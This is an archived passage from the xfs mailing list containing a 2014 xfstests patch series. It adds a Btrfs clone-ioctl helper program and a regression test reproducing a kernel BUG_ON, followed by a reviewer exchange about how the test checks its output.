7 Feb 2014 10:35:45 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, David Disseldorp Subject: [PATCH v3 1/3] btrfs: add small program for clone testing Date: Fri, 7 Feb 2014 11:35:39 +0100 X-ASG-Orig-Subj: [PATCH v3 1/3] btrfs: add small program for clone testing Message-Id: <1391769341-20688-2-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 In-Reply-To: <1391769341-20688-1-git-send-email-ddiss@suse.de> References: <1391769341-20688-1-git-send-email-ddiss@suse.de> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391769345 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144913 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The cloner program is capable of cloning files using the BTRFS_IOC_CLONE and BTRFS_IOC_CLONE_RANGE ioctls. Signed-off-by: David Disseldorp --- .gitignore | 1 + src/Makefile | 2 +- src/cloner.c | 188 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 190 insertions(+), 1 deletion(-) create mode 100644 src/cloner.c diff --git a/.gitignore b/.gitignore index ee4cb41..b6f2463 100644 --- a/.gitignore +++ b/.gitignore @@ -104,6 +104,7 @@ /src/aio-dio-regress/aio-free-ring-with-bogus-nr-pages /src/aio-dio-regress/aio-io-setup-with-nonwritable-context-pointer /src/aio-dio-regress/aiodio_sparse2 +/src/cloner # dmapi/ binaries /dmapi/src/common/cmd/read_invis diff --git a/src/Makefile b/src/Makefile index 84c8297..6509f2d 100644 --- a/src/Makefile +++ b/src/Makefile @@ -18,7 +18,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \ locktest unwritten_mmap bulkstat_unlink_test t_stripealign \ bulkstat_unlink_test_modified t_dir_offset t_futimens t_immutable \ stale_handle pwrite_mmap_blocked t_dir_offset2 seek_sanity_test \ - seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec + seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec cloner SUBDIRS = diff --git a/src/cloner.c b/src/cloner.c new file mode 100644 index 0000000..dfce837 --- /dev/null +++ b/src/cloner.c @@ -0,0 +1,188 @@ +/* + * Tiny program to perform file (range) clones using raw Btrfs ioctls. + * It should only be needed until btrfs-progs has an xfs_io equivalent. + * + * Copyright (C) 2014 SUSE Linux Products GmbH. All Rights Reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +struct btrfs_ioctl_clone_range_args { + int64_t src_fd; + uint64_t src_offset; + uint64_t src_length; + uint64_t dest_offset; +}; + +#define BTRFS_IOCTL_MAGIC 0x94 +#define BTRFS_IOC_CLONE _IOW(BTRFS_IOCTL_MAGIC, 9, int) +#define BTRFS_IOC_CLONE_RANGE _IOW(BTRFS_IOCTL_MAGIC, 13, \ + struct btrfs_ioctl_clone_range_args) + +static void +usage(char *name, const char *msg) +{ + printf("Fatal: %s\n" + "Usage:\n" + "%s [options] \n" + "\tA full file clone (reflink) is performed by default, " + "unless any of the following are specified:\n" + "\t-s : source file offset (default = 0)\n" + "\t-d : destination file offset (default = 0)\n" + "\t-l : length of clone (default = 0)\n", + msg, name); + _exit(1); +} + +static int +clone_file(int src_fd, int dst_fd) +{ + int ret = ioctl(dst_fd, BTRFS_IOC_CLONE, src_fd); + if (ret != 0) + ret = errno; + return ret; +} + +static int +clone_file_range(int src_fd, int dst_fd, uint64_t src_off, uint64_t dst_off, + uint64_t len) +{ + struct btrfs_ioctl_clone_range_args cr_args; + int ret; + + memset(&cr_args, 0, sizeof(cr_args)); + cr_args.src_fd = src_fd; + cr_args.src_offset = src_off; + cr_args.src_length = len; + cr_args.dest_offset = dst_off; + ret = ioctl(dst_fd, BTRFS_IOC_CLONE_RANGE, &cr_args); + if (ret != 0) + ret = errno; + return ret; +} + +int +main(int argc, char **argv) +{ + bool full_file = true; + uint64_t src_off = 0; + uint64_t dst_off = 0; + uint64_t len = 0; + char *src_file; + int src_fd; + char *dst_file; + int dst_fd; + int ret; + int opt; + + while ((opt = getopt(argc, argv, "s:d:l:")) != -1) { + char *sval_end; + switch (opt) { + case 's': + errno = 0; + src_off = strtoull(optarg, &sval_end, 10); + if ((errno) || (*sval_end != '\0')) + usage(argv[0], "invalid source offset"); + full_file = false; + break; + case 'd': + errno = 0; + dst_off = strtoull(optarg, &sval_end, 10); + if ((errno) || (*sval_end != '\0')) + usage(argv[0], "invalid destination offset"); + full_file = false; + break; + case 'l': + errno = 0; + len = strtoull(optarg, &sval_end, 10); + if ((errno) || (*sval_end != '\0')) + usage(argv[0], "invalid length"); + full_file = false; + break; + default: + usage(argv[0], "invalid argument"); + } + } + + /* should be exactly two args left */ + if (optind != argc - 2) + usage(argv[0], "src_file and dst_file arguments are madatory"); + + src_file = (char *)strdup(argv[optind++]); + if (src_file == NULL) { + ret = ENOMEM; + printf("no memory\n"); + goto err_out; + } + dst_file = (char *)strdup(argv[optind++]); + if (dst_file == NULL) { + ret = ENOMEM; + printf("no memory\n"); + goto err_src_free; + } + + src_fd = open(src_file, O_RDONLY); + if (src_fd == -1) { + ret = errno; + printf("failed to open %s: %s\n", src_file, strerror(errno)); + goto err_dst_free; + } + dst_fd = open(dst_file, O_CREAT | O_WRONLY, 0644); + if (dst_fd == -1) { + ret = errno; + printf("failed to open %s: %s\n", dst_file, strerror(errno)); + goto err_src_close; + } + + if (full_file) { + ret = clone_file(src_fd, dst_fd); + } else { + ret = clone_file_range(src_fd, dst_fd, src_off, dst_off, len); + } + if (ret != 0) { + printf("clone failed: %s\n", strerror(ret)); + goto err_dst_close; + } + + ret = 0; +err_dst_close: + if (close(dst_fd)) { + ret |= errno; + printf("failed to close dst file: %s\n", strerror(errno)); + } +err_src_close: + if (close(src_fd)) { + ret |= errno; + printf("failed to close src file: %s\n", strerror(errno)); + } +err_dst_free: + free(dst_file); +err_src_free: + free(src_file); +err_out: + return ret; +} -- 1.8.4.5 From ddiss@suse.de Fri Feb 7 04:35:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 976E87F59 for ; Fri, 7 Feb 2014 04:35:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 30C59AC002 for ; Fri, 7 Feb 2014 02:35:49 -0800 (PST) X-ASG-Debug-ID: 1391769345-04bdf0121e1ae300001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id k6ETlsInRL5IiOb5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 02:35:46 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 40328ABD1; Fri, 7 Feb 2014 10:35:45 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, David Disseldorp Subject: [PATCH v3 3/3] btrfs/035: add new clone overwrite regression test Date: Fri, 7 Feb 2014 11:35:41 +0100 X-ASG-Orig-Subj: [PATCH v3 3/3] btrfs/035: add new clone overwrite regression test Message-Id: <1391769341-20688-4-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 In-Reply-To: <1391769341-20688-1-git-send-email-ddiss@suse.de> References: <1391769341-20688-1-git-send-email-ddiss@suse.de> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391769346 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144913 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This test uses the newly added cloner binary to dispatch full file and range specific clone (reflink) requests. Signed-off-by: David Disseldorp --- tests/btrfs/035 | 77 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035.out | 3 +++ tests/btrfs/group | 1 + 3 files changed, 81 insertions(+) create mode 100755 tests/btrfs/035 create mode 100644 tests/btrfs/035.out diff --git a/tests/btrfs/035 b/tests/btrfs/035 new file mode 100755 index 0000000..6808179 --- /dev/null +++ b/tests/btrfs/035 @@ -0,0 +1,77 @@ +#!/bin/bash +# FS QA Test No. btrfs/035 +# +# Regression test for overwriting clones +# +#----------------------------------------------------------------------- +# Copyright (C) 2014 SUSE Linux Products GmbH. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + +CLONER_PROG=$here/src/cloner +[ -x $CLONER_PROG ] || _notrun "cloner binary not present at $CLONER_PROG" + +src_str="aaaaaaaaaa" + +echo -n "$src_str" > $SCRATCH_MNT/src + +$CLONER_PROG $SCRATCH_MNT/src $SCRATCH_MNT/src.clone1 + +src_str="bbbbbbbbbbcccccccccc" + +echo -n "$src_str" > $SCRATCH_MNT/src + +$CLONER_PROG $SCRATCH_MNT/src $SCRATCH_MNT/src.clone2 + +snap_src_sz=`ls -lah $SCRATCH_MNT/src.clone1 | awk '{print $5}'` +echo "attempting ioctl (src.clone1 src)" +$CLONER_PROG -s 0 -d 0 -l ${snap_src_sz} \ + $SCRATCH_MNT/src.clone1 $SCRATCH_MNT/src + +snap_src_sz=`ls -lah $SCRATCH_MNT/src.clone2 | awk '{print $5}'` +echo "attempting ioctl (src.clone2 src)" +$CLONER_PROG -s 0 -d 0 -l ${snap_src_sz} \ + $SCRATCH_MNT/src.clone2 $SCRATCH_MNT/src + +status=0 ; exit diff --git a/tests/btrfs/035.out b/tests/btrfs/035.out new file mode 100644 index 0000000..f86cadf --- /dev/null +++ b/tests/btrfs/035.out @@ -0,0 +1,3 @@ +QA output created by 035 +attempting ioctl (src.clone1 src) +attempting ioctl (src.clone2 src) diff --git a/tests/btrfs/group b/tests/btrfs/group index f9f062f..bee57cb 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -37,3 +37,4 @@ 032 auto quick 033 auto quick 034 auto quick +035 auto quick -- 1.8.4.5 From ddiss@suse.de Fri Feb 7 04:35:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DA2F27F59 for ; Fri, 7 Feb 2014 04:35:50 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BAB218F8037 for ; Fri, 7 Feb 2014 02:35:47 -0800 (PST) X-ASG-Debug-ID: 1391769345-04cbb00c28195280001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id FMngv3BsNpS4zIWC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 02:35:46 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 341AEABD0; Fri, 7 Feb 2014 10:35:45 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, David Disseldorp Subject: [PATCH v3 2/3] src/cloner: use btrfs/ioctl.h header if present Date: Fri, 7 Feb 2014 11:35:40 +0100 X-ASG-Orig-Subj: [PATCH v3 2/3] src/cloner: use btrfs/ioctl.h header if present Message-Id: <1391769341-20688-3-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 In-Reply-To: <1391769341-20688-1-git-send-email-ddiss@suse.de> References: <1391769341-20688-1-git-send-email-ddiss@suse.de> X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391769345 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144913 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Check for the btrfsprogs-devel ioctl.h header at configure time. Use it in src/cloner if present, otherwise fall back to using the copied clone ioctl definitions. Signed-off-by: David Disseldorp --- configure.ac | 1 + src/cloner.c | 4 ++++ 2 files changed, 5 insertions(+) diff --git a/configure.ac b/configure.ac index bd48fd9..6fba3ad 100644 --- a/configure.ac +++ b/configure.ac @@ -30,6 +30,7 @@ AC_HEADER_STDC AC_CHECK_HEADERS([ sys/fs/xfs_fsops.h \ sys/fs/xfs_itable.h \ xfs/platform_defs.h \ + btrfs/ioctl.h \ ]) AC_PACKAGE_NEED_UUIDCOMPARE diff --git a/src/cloner.c b/src/cloner.c index dfce837..ccc2354 100644 --- a/src/cloner.c +++ b/src/cloner.c @@ -30,6 +30,9 @@ #include #include #include +#ifdef HAVE_BTRFS_IOCTL_H +#include +#else struct btrfs_ioctl_clone_range_args { int64_t src_fd; @@ -42,6 +45,7 @@ struct btrfs_ioctl_clone_range_args { #define BTRFS_IOC_CLONE _IOW(BTRFS_IOCTL_MAGIC, 9, int) #define BTRFS_IOC_CLONE_RANGE _IOW(BTRFS_IOCTL_MAGIC, 13, \ struct btrfs_ioctl_clone_range_args) +#endif static void usage(char *name, const char *msg) -- 1.8.4.5 From ddiss@suse.de Fri Feb 7 04:35:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E47C47F5F for ; Fri, 7 Feb 2014 04:35:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A6DD5304066 for ; Fri, 7 Feb 2014 02:35:51 -0800 (PST) X-ASG-Debug-ID: 1391769345-04bdf0121f1ae300001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id KTmoFjCeHgafWU9U (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 02:35:46 -0800 (PST) X-Barracuda-Envelope-From: ddiss@suse.de X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 250ACABB9; Fri, 7 Feb 2014 10:35:45 +0000 (UTC) From: David Disseldorp To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH v3 0/3] __btrfs_drop_extents() BUG_ON reproducer Date: Fri, 7 Feb 2014 11:35:38 +0100 X-ASG-Orig-Subj: [PATCH v3 0/3] __btrfs_drop_extents() BUG_ON reproducer Message-Id: <1391769341-20688-1-git-send-email-ddiss@suse.de> X-Mailer: git-send-email 1.8.4.5 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391769345 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144913 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This patch-set provides a reproducer for hitting the 3.14.0-rc1 BUG_ON() at: 692 int __btrfs_drop_extents(struct btrfs_trans_handle *trans, ... 839 /* 840 * | ---- range to drop ----- | 841 * | -------- extent -------- | 842 */ 843 if (start <= key.offset && end < extent_end) { 844 BUG_ON(extent_type == BTRFS_FILE_EXTENT_INLINE); 845 846 memcpy(&new_key, &key, sizeof(new_key)); The first patch adds a small cloner binary which is used by btrfs/035 to dispatch BTRFS_IOC_CLONE_RANGE requests. This workload resembles that of Samba's vfs_btrfs module, when a Windows client restores a file from a shadow-copy (snapshot) using server-side copy requests. Changes since V2: - Remove explicit write error checks Changes since V1: - Use strtoull instead of atoi - Print error conditions in cloner - Check for cloner binary before running test - Continue test on failure - Add cloner to .gitignore Feedback appreciated. Cheers, David .gitignore | 1 + configure.ac | 1 + src/Makefile | 2 +- src/cloner.c | 192 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035 | 77 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/035.out | 3 +++ tests/btrfs/group | 1 + 7 files changed, 276 insertions(+), 1 deletion(-) From wangshilong1991@gmail.com Fri Feb 7 04:48:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5AB9D7F56 for ; Fri, 7 Feb 2014 04:48:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 36D9E8F804C for ; Fri, 7 Feb 2014 02:48:55 -0800 (PST) X-ASG-Debug-ID: 1391770133-04cb6c6de3199c70001-NocioJ Received: from mail-pb0-f46.google.com (mail-pb0-f46.google.com [209.85.160.46]) by cuda.sgi.com with ESMTP id xNcwBMr5OBMZ1gJt (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 07 Feb 2014 02:48:54 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.46 Received: by mail-pb0-f46.google.com with SMTP id um1so3068817pbc.5 for ; Fri, 07 Feb 2014 02:48:53 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=J8RAZsa5uI9zeji0iJYatXpMGlIQPNICVJJA2z3K4hA=; b=nKu20ZfATxF9AodBSBYnjC/9+Zj7576dpcRzc2ZG9UC6yPwm7yWr5npsDLnbjPa7B3 BDtpoFynnshRdFsBz9gfToykR7eTto3HwHQ6BWnlH4uUwTq9rYhbkUdVyG+4hdzTQZvb TaD8+TOhmvxw0Tl31C496rBHaFSj2+DjE18ZaOcw4HkePdYx23/340u0oYOm7l7x188/ s7NAXDh1G4tkx6O1Y4E5mUhRkSa+zIVG49pG7qS7/xTFnOFf/RckO9rcybZlTZMZf1WG LqNPEBCQo1cWw90rrHZUQKjAPW4Zx9W4yoYhs0UfdKaMkBPLpuEAxnpEkSTszXQzwnlC 13FQ== X-Barracuda-BBL-IP: nil X-Received: by 10.68.211.1 with SMTP id my1mr18976313pbc.55.1391770133654; Fri, 07 Feb 2014 02:48:53 -0800 (PST) Received: from promote.cache-dns.local ([223.65.143.99]) by mx.google.com with ESMTPSA id ei4sm12308658pbb.42.2014.02.07.02.48.51 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 07 Feb 2014 02:48:52 -0800 (PST) Content-Type: text/plain; charset=us-ascii X-Barracuda-Apparent-Source-IP: 223.65.143.99 Mime-Version: 1.0 (Mac OS X Mail 6.2 \(1499\)) Subject: Re: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently From: Wang Shilong X-ASG-Orig-Subj: Re: [PATCH v3] Btrfs: add regression test for running snapshot and send concurrently In-Reply-To: <20140207044153.GF13647@dastard> Date: Fri, 7 Feb 2014 18:48:47 +0800 Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org, jbacik@fb.com Content-Transfer-Encoding: quoted-printable Message-Id: References: <1391703008-2322-1-git-send-email-wangshilong1991@gmail.com> <20140206224337.GB13647@dastard> <20140207044153.GF13647@dastard> To: Dave Chinner X-Mailer: Apple Mail (2.1499) X-Barracuda-Connect: mail-pb0-f46.google.com[209.85.160.46] X-Barracuda-Start-Time: 1391770134 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.23 X-Barracuda-Spam-Status: No, SCORE=0.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144914 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Dave, > On Fri, Feb 07, 2014 at 12:18:31PM +0800, Wang Shilong wrote: >>=20 >> Hi Dave, >>=20 >>> On Fri, Feb 07, 2014 at 12:10:08AM +0800, Wang Shilong wrote: >>>> +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ >>>> + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 >>>> + >>>> +do_snapshots & >>>> +snapshots_pid=3D$! >>>> + >>>> +$BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 > /dev/null 2>&1 || echo = "btrfs send failed" >>>=20 >>> Let's stop this anti-pattern before it takes hold. >>>=20 >>> If there's output from the send command it should be >>> filtered and captured in the golden image. Hence any deviation >>> caused by errors is automatically flagged as an error. >>>=20 >>> That's the whole point of using golden images for capturing errors - >>> you don't need to capture return values from binaries and it >>> guarantees that users are informed about failures through error >>> messages. IOWs: >>>=20 >>> $BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 | _btrfs_send_filter >>>=20 >>> is what you should be doing here. >>=20 >> I knew what you mean here, in fact, i did this on purpose. >=20 > Ok, then you need to explain why you did it on purpose with a comment. > It's just as important to explain the reason for doing something in > test code as it is in the kernel code. i.e. so when we are looking > at the test in 5 years time we know the reason for it being that > way. >=20 >> for this test failure, btrfs-prog did not output failure >> information from the beginning.=20 >=20 > I have nothing good to say about that state of affairs, but... >=20 >> So to make older progs can also >> detect the test failure, i dropped into this way. >=20 > .. it's going to have to stay like it. Please insert an > appropriately sarcastic comment about the usefulness of a silent > send command here, because if I write it I'm going to offend lots of > people. :/ Sorry, my miss, when i was going to give a patch for btrfs-progs, i = noticed the issue has been fixed in latest btrfs-progs(3.12 which has released = for a long time). So let's drop the way you have said before. Thanks, Wang >=20 > Cheers, >=20 > Dave. > --=20 > Dave Chinner > david@fromorbit.com From wangshilong1991@gmail.com Fri Feb 7 08:03:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9585C7F4E for ; Fri, 7 Feb 2014 08:03:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 72FBF30407B for ; Fri, 7 Feb 2014 06:03:07 -0800 (PST) X-ASG-Debug-ID: 1391781782-04cbb00c29199fd0001-NocioJ Received: from mail-pd0-f179.google.com (mail-pd0-f179.google.com [209.85.192.179]) by cuda.sgi.com with ESMTP id YvHDXkgQamYepD0P (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 07 Feb 2014 06:03:03 -0800 (PST) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.179 Received: by mail-pd0-f179.google.com with SMTP id fp1so2783066pdb.24 for ; Fri, 07 Feb 2014 06:03:02 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=j2CVZ+y/l3ykb9cjSREoU3duOXP7NUg1mEGsWqSJD+M=; b=xtwcA520iH4HxjQQ0otiCopTCQ03QbmiAcTssBW9yAeUybJvQE/jtFyPTBglqj1TVm cRhkq8XHuK28XuBW0+i07YfcQfqUGwO75hjnN/fYHlNgoZYsmTPorKfTPptOIZYDOEFF 76OzYFezXbMntE2P0W5tAHkl/A5N8OOaQEOi10Q+jbxZxUjdEDkyTmL0BxoLVdVHNZd1 y1QLYAVetCM5yg6bVxwCDhmaN6I/mCgyYdt9r1pgARmpuhnW0D5ADR0hwbs8ycBsyb/j s84zJEE86Ag4241hs6toZYRJ+/aobe4Yn+ol9qo3ADDibtPCfBHXo3aHKWjybFBPvBOU BrRQ== X-Barracuda-BBL-IP: nil X-Received: by 10.66.138.40 with SMTP id qn8mr8085953pab.154.1391781782386; Fri, 07 Feb 2014 06:03:02 -0800 (PST) Received: from linux-b0ol.site ([223.65.143.99]) by mx.google.com with ESMTPSA id xs1sm34267730pac.7.2014.02.07.06.02.59 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 07 Feb 2014 06:03:01 -0800 (PST) From: Wang Shilong X-Barracuda-Apparent-Source-IP: 223.65.143.99 To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, david@fromorbit.com Subject: [PATCH v4] xfstests/btrfs: add a regression test for running snapshot and send concurrently Date: Fri, 7 Feb 2014 22:00:56 +0800 X-ASG-Orig-Subj: [PATCH v4] xfstests/btrfs: add a regression test for running snapshot and send concurrently Message-Id: <1391781656-9469-1-git-send-email-wangshilong1991@gmail.com> X-Mailer: git-send-email 1.8.4 X-Barracuda-Connect: mail-pd0-f179.google.com[209.85.192.179] X-Barracuda-Start-Time: 1391781783 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi 